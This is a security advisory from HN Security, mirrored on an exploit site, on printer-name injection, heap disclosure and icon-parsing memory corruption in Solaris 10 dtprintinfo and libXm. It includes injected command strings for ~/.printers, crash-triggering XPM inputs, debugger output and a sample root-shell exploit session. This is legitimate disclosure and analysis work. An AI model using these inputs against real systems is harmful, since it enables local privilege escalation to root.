Share
## https://sploitus.com/exploit?id=PACKETSTORM:170620
--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/  
  
* Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm  
* Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15  
* OS: Oracle Solaris 10 (CPU January 2021)  
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>  
* Date: 2023-01-18  
* Oracle vulnerability tracking numbers:  
* S1597707 - Arbitrary printer name injection  
* S1597724 - Heap memory disclosure via long printer names  
* S1597711 - Memory corruption via malformed icon files  
* S1597730 - Stack-based buffer overflow in libXm ParseColors  
* CVE IDs:  
* CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm  
* Advisory URLs:   
* https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt  
* https://lists.x.org/archives/xorg-announce/2023-January/003312.html  
* https://lists.x.org/archives/xorg-announce/2023-January/003313.html  
* Exploit URLs:  
* https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c  
  
  
--[ 0 - Table of contents  
  
1 - Summary  
2 - Vulnerabilities  
2.1 - Arbitrary printer name injection  
2.2 - Heap memory disclosure via long printer names  
2.3 - Memory corruption via malformed icon files  
2.4 - Stack-based buffer overflow in libXm ParseColors()  
3 - Analysis  
3.1 - Printer name injection and heap memory disclosure  
3.2 - Memory corruption via malformed icon files  
4 - Exploitation  
5 - Affected products  
6 - Remediation  
7 - Disclosure timeline  
8 - References  
  
  
--[ 1 - Summary  
  
"What has been will be again,  
what has been done will be done again;  
there is nothing new under the Sun."  
-- Ecclesiastes 1:9  
  
We have identified multiple security vulnerabilities that are exploitable  
via the the setuid-root dtprintinfo binary from the Common Desktop  
Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021):  
  
* A bug in the parser of the lpstat external command invoked by dtprintinfo  
to list the names of available printers allows low-privileged local users  
to inject arbitrary printer names via the $HOME/.printers file.  
  
* Printer name injection allows low-privileged local users to manipulate  
the control flow of the target program and disclose memory contents.  
Based on our analysis, this bug does not seem to be directly exploitable  
to achieve arbitrary code execution. However, we recommend treating it as  
a potential security vulnerability and fix it as such.  
  
* The ability to inject arbitrary printer names opens other attack vectors  
that otherwise would not be available on systems without configured  
printers. As an example, we discovered multiple icon parsing bugs in the  
Motif library libXm that cause memory corruption.  
  
We demonstrated the possibility to exploit one of these memory corruption  
bugs, a stack-based buffer overflow in the ParseColors() function of libXm,  
to achieve local privilege escalation to root on Solaris 10.  
  
  
--[ 2 - Vulnerabilities  
  
Following our last CDE vulnerability disclosures [1], Oracle kindly shared  
with us a copy of their then current Solaris 10 security patch set (CPU  
January 2021), so that we could install it in our lab and verify the fixes  
for the bugs we had reported.  
  
In addition to verifying these fixes, we decided to take a closer look at  
the dtprintinfo program distributed with CDE, because of its complexity and  
its impressive historical record of high-impact vulnerabilities [2]. These  
are the results of our research.  
  
  
--[ 2.1 - Arbitrary printer name injection  
  
After fruitlessly spending a few days reversing and auditing the patched  
version of dtprintinfo, we came up with the idea of using the poor man's  
fuzzer below to quickly check for the presence of flaws in the parsing of  
the $HOME/.printers file:  
  
bash-3.2$ cat /dev/urandom > ~/.printers  
^C  
  
Indeed, this led to immediate results. It turns out that it is possible to  
inject fake printers to be displayed by dtprintinfo. To do so, we need to  
craft a .printers file that contains at least one line in the following  
format:  
  
<string><space>:<\n>  
  
Where <string> can be any string, including most special characters, and  
<space> can either be a space (0x20) or a tab (0x09) character. For  
instance, the following line will inject a fake printer named "FOO":  
  
FOO :  
  
Since dtprintinfo uses printer names as arguments for some external  
commands that it invokes, it is possible to abuse this flaw to inject  
arbitrary commands. For instance, to execute an injected command when we  
double-click on a printer icon in the X11 GUI, we can craft a .printers  
file that contains lines such as the following (space and tab characters  
cannot be used in the injected command string for obvious reasons):  
  
FOO;/usr/bin/id>/tmp/pwned; :  
BAR;/usr/bin/cat</tmp/PAYLOAD; :  
  
Unfortunately for us attackers, dtprintinfo fork()s and permanently drops  
root privileges via setuid() before running external commands. Therefore,  
the injected commands are executed with regular user privileges. This means  
we can only abuse the described printer name injection bug to trigger an  
additional second-order vulnerability, if such a vulnerability exists.  
Here's a couple of ideas we have experimented with to no avail:  
  
* Use the "cat<PAYLOAD" pattern above to trigger either an integer  
overflow, a buffer overflow, or a format string bug.  
* Inject a printer name that contains a format string or a directory  
traversal payload to trigger some other bug down the line.  
  
The third obvious idea is to inject a long printer name and see what  
happens. What happened in our case is that we were able to trigger an  
out-of-bound read and disclose partial heap memory contents of our target  
setuid-root binary.  
  
  
--[ 2.2 - Heap memory disclosure via long printer names  
  
To reproduce this bug, first craft a malicious .printers file as follows  
and create a hardlink to it named .printers.new, to prevent renaming by the  
DtConfigPrinters::renameUserPrinterSelectionFile() method that gets called  
while dtprintinfo is initializing queues in DtApp::UpdateQueues():  
  
bash-3.2$ echo "FOO;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; :" > ~/.printers  
bash-3.2$ ln ~/.printers ~/.printers.new  
  
Then, trace dtprintinfo's execution via a setuid-root truss program to log  
access to interesting memory addresses:  
  
bash-3.2$ export DISPLAY=:0  
bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT  
  
At this point, in dtprintinfo's GUI:  
  
* Select "View" > "Select Printers to Show..." from the menu.  
* Select the injected printer to be shown.  
* Click on "Apply" and then click on "OK".  
* Select "Printers" > "Exit" from the menu, closing dtprintinfo.  
  
Now, examining the .printers file modified by dtprintinfo while it was  
running, we can notice that it contains non-printable characters, which are  
in fact leaked heap memory contents. For instance:  
  
bash-3.2$ od -x ~/.printers  
0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141  
0000020 4141 4141 4141 4141 4141 4141 4141 4141  
*  
0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141  
0001020 4141 4141 4141 4141 4141 4141 4141 4141  
*  
0001400 4141 4141 4141 4141 4141 4141 4141 e948  
0001420 0810 6938 0810 0409 410a 4141 4141 4141  
^^^^^^^^^ << 0x08106938  
0001440 4141 4141 2c3b 000a  
0001447  
  
By observing the output of truss, we can find the example leaked memory  
address highlighted above:  
  
-> __0fJContainerLInnerWidgetv(0x8105ea8)  
<- __0fJContainerLInnerWidgetv() = 0x8106938  
^^^^^^^^^  
-> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840)  
^^^^^^^^^  
...  
-> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0)  
-> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0)  
^^^^^^^^^  
  
By playing with different printer name lengths between 256 and 1024 bytes  
and/or clicking on "Apply" or "OK" multiple times, we can leak different  
heap memory contents.   
  
The "Set Default" button can be used to cause a similar .printers file  
corruption. In addition, instead of injecting a single long printer name,  
we can trigger the same bug by injecting a long list of regular printer  
names and selecting them to be shown in dtprintinfo's GUI.  
  
  
--[ 2.3 - Memory corruption via malformed icon files  
  
The ability to inject arbitrary printer names opens other attack vectors  
that otherwise would not be available on systems without configured  
printers. In fact, only privileged users can create or update printing  
configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or  
/usr/bin/lpset.  
  
One such vector we thought that was worth exploring is the parsing of  
printer icons in the XPM format [3]. A low-privileged local user can supply  
his or her own icons for dtprintinfo to show by placing them in the  
$HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the  
XPM parser could easily lead to memory corruption and privilege escalation.  
To prove our point, we built a rudimentary mutation fuzzer written in  
Python and we unearthed a few icon parsing bugs in the libXm library  
(/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif  
toolkit [4].  
  
As a starter, the following malformed icon file with an unbalanced comment  
block will crash dtprintinfo:  
  
/* XPM */  
static char * sample_xpm[] = {  
"15 19 6 1",  
" c None",  
". c #FFFFFF",  
"+ c #000000",  
"@ c #99FFCC",  
"# c #66CCCC",  
"$ c #339966",  
/* CRASH  
".+++++++++++++.",  
"+@@@@@@@@@@@@#+",  
"+@###########$+",  
"+@###....####$+",  
"+@##......###$+",  
"+@#...$$...##$+",  
"+@#..$$##..$#$+",  
"+@##$$##...$#$+",  
"+@#####...$$#$+",  
"+@####...$$##$+",  
"+@####..$$###$+",  
"+@####..$####$+",  
"+@#####$$####$+",  
"+@####..#####$+",  
"+@####..$####$+",  
"+@#####$$####$+",  
"+@###########$+",  
"+#$$$$$$$$$$$$+",  
".+++++++++++++."};  
  
To reproduce the crash, inject an arbitrary printer as described earlier  
and perform the following actions:  
  
* Craft the malformed XPM icon above in the following files in ~/.dt/icons:  
crash.l.pm  
crash.m.pm  
crash.t.pm  
* Launch dtprintinfo with proper command-line options (e.g., -all).  
* Select the injected printer, and click on "Selected" > "Properties...".  
* Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu.  
  
After a short while, dtprintinfo should segfault:  
  
Program terminated with signal 11, Segmentation fault.  
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4  
(gdb) x/i $pc  
0xfed322c8 <ParseComment+186>: mov (%edi),%ah  
(gdb) i r  
eax 0x8045bff 134503423  
ecx 0x80456f0 134502128  
edx 0xfe972be0 -23647264  
ebx 0xfee90000 -18284544  
esp 0x8024fbc 0x8024fbc  
ebp 0x8024fdc 0x8024fdc  
esi 0x7 7  
edi 0xfeffffff -16777217  
eip 0xfed322c8 0xfed322c8 <ParseComment+186>  
...  
(gdb) bt  
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4  
#1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4  
#2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4  
#3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
...  
  
At a glance, this does not look exploitable. A much better-looking crash  
can be triggered with the following malformed icon file:  
  
00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static  
00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] =  
00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh  
00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_  
00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8  
00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color  
00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black  
00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois  
00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white  
^^ << this 0xfe byte triggers the crash  
00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden  
000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr  
000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white  
000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon  
000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix  
000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee  
000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",."  
00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg  
00000110: 6767 6767 220a 7d3b 0a gggg".};.  
  
Program terminated with signal 11, Segmentation fault.  
#0 0x027efed3 in ?? ()  
(gdb) i r  
eax 0xfe634c80 -27046784  
ecx 0x3 3  
edx 0x0 0  
ebx 0xfee90002 -18284542  
esp 0x8045668 0x8045668  
ebp 0x80456d0 0x80456d0  
esi 0x80460d0 134504656  
edi 0x80456f0 134502128  
eip 0x27efed3 0x27efed3  
...  
#0 0x027efed3 in ?? ()  
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
  
It looks like we have at least partial control over the eip register! A  
promising crash indeed... An interesting variation that can help shed light  
on the reasons of this crash can be obtained by replacing the 0xfe byte  
with 0xff:  
  
Program terminated with signal 11, Segmentation fault.  
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4  
(gdb) x/i $pc  
0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx)  
(gdb) i r  
eax 0xfe62d680 -27076992  
ecx 0x3 3  
edx 0x0 0  
ebx 0x20000 131072  
esp 0x8045668 0x8045668  
ebp 0x80456d0 0x80456d0  
esi 0x80460d0 134504656  
edi 0x80456f0 134502128  
eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt>  
...  
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4  
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
  
Based on our quick analysis, ebx gets corrupted in ParsePixels() and then  
its value is used to calculate a jump location by code in the .plt section.  
We have not deeply investigated these instances of memory corruption and we  
have not seriously fuzzed libXm's XPM parser. We would like to leave  
further exploration of this attack vector, as well as any vulnerabilities  
in other libraries used by dtprintinfo, as an exercise for you, dear  
readers. ;)  
  
  
--[ 2.4 - Stack-based buffer overflow in libXm ParseColors()  
  
After our brief but intense artisanal fuzzing experience, before giving up  
on dtprintinfo and going for some fancier target, it was time to go back to  
static analysis for a short while, specifically targeting the apparently  
weak libXm library.  
  
We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in  
the library where unsafe API functions are called, using them as starting  
points for our binary audit. Among some interesting candidate points, the  
following one stood up, in the familiar ParseColors() function that we had  
already encountered while analyzing the crashes produced by our XPM fuzzer:  
  
int ParseColors(int *data, uint ncolors, uint cpp, undefined4  
*colorTablePtr, undefined4 hashtable)  
{  
...  
char local_83c[1024];  
char local_43c[1024];  
...  
local_c = _XmxpmNextWord(local_34, local_83c, 0x400);  
...  
local_83c[local_c] = '\0';  
strcat(local_43c, local_83c); /* VULN */  
}  
  
A perfect specimen of stack-based buffer overflow! We have found yet  
another memory corruption bug in the parsing of printer icons in the XPM  
format. This one has a high likelihood of being exploitable to achieve  
arbitrary code execution and local privilege escalation.  
  
  
--[ 3 - Analysis  
  
Let's briefly analyze what causes the identified vulnerabilities.  
  
  
--[ 3.1 - Printer name injection and heap memory disclosure  
  
The arbitrary printer name injection and heap memory disclosure bugs have  
the following root causes:  
  
* The /usr/bin/lpstat external command invoked by dtprintinfo to list the  
names of available printers has a flawed parser, which allows  
low-privileged local users to inject arbitrary printer names in the  
user-controllable $HOME/.printers file:  
  
bash-3.2$ cat ~/.printers  
FOO;AAA; :  
bash-3.2$ lpstat -v  
system for FOO;AAA;: (null) (as lpd://(null)/printers/)  
  
From our point of view, this in itself is not a big deal. Since lpstat is  
executed after dropping privileges, we could in theory inject our own  
code into this process anyway and control its behavior. For this reason,  
we have not investigated lpstat any further. The real problem here is  
architectural: dtprintinfo's functionality should be self-contained and  
should not depend on external programs. This is not a robust design and  
has led to more impactful vulnerabilities in the past [6].  
  
* The dtprintinfo program blindly trusts the output of lpstat without  
validating it. This allows low-privileged local users to craft  
potentially dangerous inputs (such as printer names that are expected to  
be in a consistent format), thus altering its behavior.  
  
* Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the  
DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback  
methods, when updating the .printers file, writes some additional bytes  
after the actual printer names, thus corrupting the file contents. This  
is caused by the fact that the DtConfigPrinters::readContinuedLine()  
method called by DtConfigPrinters::UpdateMainPrtList() does not terminate  
the returned buffer if it reads a line longer than 256 bytes that does  
not contain a '\n' character. This non-terminated, heap-allocated buffer  
is later passed to fprintf(), which then writes some characters that  
reside past the logical end of the buffer to the .printers file, until a  
NUL byte is found. This is how we get the observed memory disclosure.  
  
Based on our analysis, the described memory disclosure bug does not seem to  
be directly exploitable to achieve arbitrary code execution and local  
privilege escalation. However, as usual, feel free to prove us wrong! All  
considered, we recommend treating this bug as a potential security  
vulnerability and fixing it as such.  
  
  
--[ 3.2 - Memory corruption via malformed icon files  
  
The stack-based buffer overflow in the ParseColors() function of libXm is  
caused by the unchecked use of the unsafe API function strcat(). This  
vulnerability can be triggered via a specially crafted XPM icon with long  
color strings.  
  
We have not spent much time analyzing the root causes of the crashes  
reported by our XPM fuzzer. We recommend extensively auditing and fuzzing  
libXm and the other libraries distributed with CDE that are used by  
privileged programs. A quick manual audit and a few runs of our rudimentary  
mutation fuzzer were enough to discover some shallow and dangerous memory  
corruption bugs in the XPM parser. We expect more bugs to be present in  
such ancient code.  
  
  
--[ 4 - Exploitation  
  
We have created a proof-of-concept exploit [7] that chains together the  
printer name injection bug and the stack-based buffer overflow we have  
identified in libXm. It allows a low-privileged local user to escalate his  
or her privileges to those of the root user on Intel-based Solaris 10  
systems with the latest patches installed (tested on CPU January 2021).  
  
The exploit code is extensively commented and should be self-explanatory.  
An example attack session follows:  
  
$ uname -a  
SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc  
$ id  
uid=54322(raptor) gid=1(other)  
$ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall  
$ ./raptor_dtprintlibXmas 10.0.0.109:0  
raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE  
Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>  
  
Using SI_PLATFORM : i86pc (5.10)  
Using stack base : 0x8047fff  
Using safe address : 0x8045790  
Using rwx_mem address : 0xfeffa004  
Using sc address : 0x8047fac  
Using sprintf() address : 0xfefd1250  
Path of target binary : /usr/dt/bin/dtprintinfo  
  
# id  
uid=0(root) gid=1(other)  
  
Our exploit uses dtprintinfo as an attack vector to abuse one of the  
vulnerabilities we discovered in libXm and escalate privileges to root.  
Other vectors are potentially available to local and remote attackers, such  
as other setuid or setgid binaries, daemons, and client applications that  
use of the vulnerable library. As an example, the dticon application has  
been confirmed to be affected by our stack-based buffer overflow.  
  
  
--[ 5 - Affected products  
  
The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle  
Solaris 10 are affected by the vulnerabilities discussed in this advisory.  
All tests were conducted on the following Solaris 10 system, patched with  
CPU January 2021:  
  
bash-3.2$ showrev -a  
Hostname: nostalgia  
Hostid: 367f0939  
Release: 5.10  
Kernel architecture: i86pc  
Application architecture: i386  
Kernel version: SunOS 5.10 Generic_153154-01  
OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019  
...  
  
Solaris 10 for the SPARC architecture and older versions of the Solaris  
operating system are also likely vulnerable.   
  
Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in  
the xpmParseColors() function of the libXpm library shipped with Solaris  
11.4, calls to the unsafe strcat() API function were replaced with calls to  
strlcat(), which if used properly prevents buffer overflows. Solaris 11.4  
in its default configuration and libXpm are only affected by the first  
crash we identified, caused by an unbalanced comment block. Please note  
that we have not conducted an audit on libXpm, which may contain other  
bugs.  
  
CDE 2.5.1 [8] is the latest version (at the time of this writing) of the  
open-source fork of the Common Desktop Environment. Following our previous  
vulnerability disclosures, their dtprintinfo binary is not installed  
setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the  
vulnerabilities discussed in this advisory. Please note that we have not  
conducted an audit on the open-source CDE's codebase, which may contain  
other bugs.  
  
Motif 2.3.8 [9] is the latest version (at the time of this writing) of the  
open-source Motif project that includes the libXm library. In the  
xpmParseColors() function, calls to the unsafe strcat() API function were  
replaced with calls to the STRLCAT() macro, which if used properly prevents  
buffer overflows. Therefore, Motif 2.3.8 is not affected by the  
vulnerabilities discussed in this advisory. Please note that we have not  
conducted an audit on Motif's codebase, which may contain other bugs.  
  
  
--[ 6 - Remediation  
  
Oracle assigned the following tracking numbers to our vulnerability  
reports:  
  
* S1597707 - Arbitrary printer name injection  
* S1597724 - Heap memory disclosure via long printer names  
* S1597711 - Memory corruption via malformed icon files  
* S1597730 - Stack-based buffer overflow in libXm ParseColors  
  
No fixes have been issued for Solaris 10. See the disclosure timeline below  
for further details.  
  
As a partial workaround, it is possible to remove the setuid bit from the  
dtprintinfo binary as follows (note that this might prevent it from working  
properly):  
  
bash-3.2# chmod -s /usr/dt/bin/dtprintinfo  
  
  
--[ 7 - Disclosure timeline  
  
2022-01-18: Oracle was notified via <secalert_us@oracle.com>.  
2022-01-19: Oracle acknowledged our vulnerability reports.  
2022-04-20: Asked Oracle to provide an update on the patch release date.  
2022-04-21: Oracle replied they could not comment on the patch release  
date.   
2022-09-03: Asked Oracle for an update and informed them of our plan to  
publish a detailed advisory and a blog post before the end of  
2022.  
2022-09-12: Oracle replied they are working on the bugs and will be able to  
give an update closer to the next CPU, scheduled for October.  
2022-10-18: Oracle informed us that the vulnerabilities will be fixed in  
their CPU of January 2023.  
2022-12-20: With a surprise move, Oracle informed us that Solaris 10  
desktop components have reached EOL and are no longer  
supported. Therefore, Oracle will not be releasing patches for  
bugs affecting Solaris 10. They will work with X.Org to get a  
fix and an advisory released upstream for the first crash we  
identified in libXm, which also affects X.Org libXpm. This  
denial of service bug will be fixed in Solaris 11.4. As a final  
note, it appears that the buffer overflows we discovered in  
ParsePixels() and ParseColors() were already reported by Chris  
Evans in 2004 and tracked as CVE-2004-0687  
(https://security.appspot.com/security/CESA-2004-003.txt). Due  
to an incomplete fix, they were not patched in Solaris 10 and  
have survived in the code for 19 years! Since no patches for  
Solaris 10 will be released, these issues have officially  
become #ForeverDay bugs.  
2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285  
(infinite loop on unclosed comments in X.Org libXpm). Oracle  
published their CPU January 2023, which unfortunately does not  
include fixes for our bugs that affect Solaris 10.  
2023-01-18: Oracle informed us that Solaris 10 desktop components have  
reached EOL at the end of 2019. EOL is documented in support  
note 1400676.1, behind the paywall for Oracle's customers with  
current support contracts. HN Security published this advisory  
and a local privilege escalation exploit.  
  
  
--[ 8 - References  
  
[1] https://github.com/0xdea/raptor_infiltrate20  
[2] https://www.exploit-db.com/search?q=dtprintinfo  
[3] https://www.xfree86.org/current/xpm.pdf  
[4] http://www.opengroup.org/desktop/motif.html  
[5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java  
[6] https://github.com/0xdea/raptor_infiltrate19  
[7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c  
[8] https://sourceforge.net/projects/cdesktopenv/  
[9] https://sourceforge.net/projects/motif/  
  
  
Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.